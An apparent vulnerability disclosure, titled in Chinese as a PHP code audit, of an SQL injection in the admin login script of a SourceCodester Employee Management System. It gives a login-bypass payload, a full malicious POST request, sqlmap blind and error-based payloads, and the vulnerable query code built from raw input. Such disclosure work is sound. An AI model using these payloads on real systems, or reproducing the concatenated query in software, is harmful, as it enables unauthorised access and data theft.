PHP代码审计—Employee Management System aprocess.php SQL Injection

· 2022-08-08 · # PHP代码审计 # SourceCodester # SQL Injection

SourceCodester Employee Management System aprocess.php SQL Injection

Vendor Homepage:

https://www.sourcecodester.com/php/14432/employee-management-system-using-php.html

Source Code Download:

https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip

Proof of Concept

Step 1: Open the URL http://127.0.0.1/ems/alogin.html

Step 2: Use payload `admin' or 1 #` in Email and anything in Password

Step 3: login success

Malicious Request.

```
POST /ems/process/aprocess.php HTTP/1.1
Host: 127.0.0.1
```

```
Content-Length: 40
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Referer: http://192.168.88.195/ems/alogin.html
Accept-Encoding: gzip, deflate
Connection: close

mailuid=admin' or 1 #&pwd=123&login-submit=Login
```

Sqlmap

```
Parameter: mailuid (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: mailuid=-6002' OR 3766=3766#&pwd=123&login-submit=Login

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cla
    Payload: mailuid=admin' AND (SELECT 4206 FROM(SELECT COUNT(*),CONCAT(0x71627a

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: mailuid=admin' AND (SELECT 1085 FROM (SELECT(SLEEP(5)))gGqt)-- XrcV8
```

code

`/process/aprocess.php` line 5-12,

```
$email = $_POST['mailuid'];
$password = $_POST['pwd'];

$sql = "SELECT * from `alogin` WHERE email = '$email' AND password = '$password''

//echo "$sql";

$result = mysqli_query($conn, $sql);
```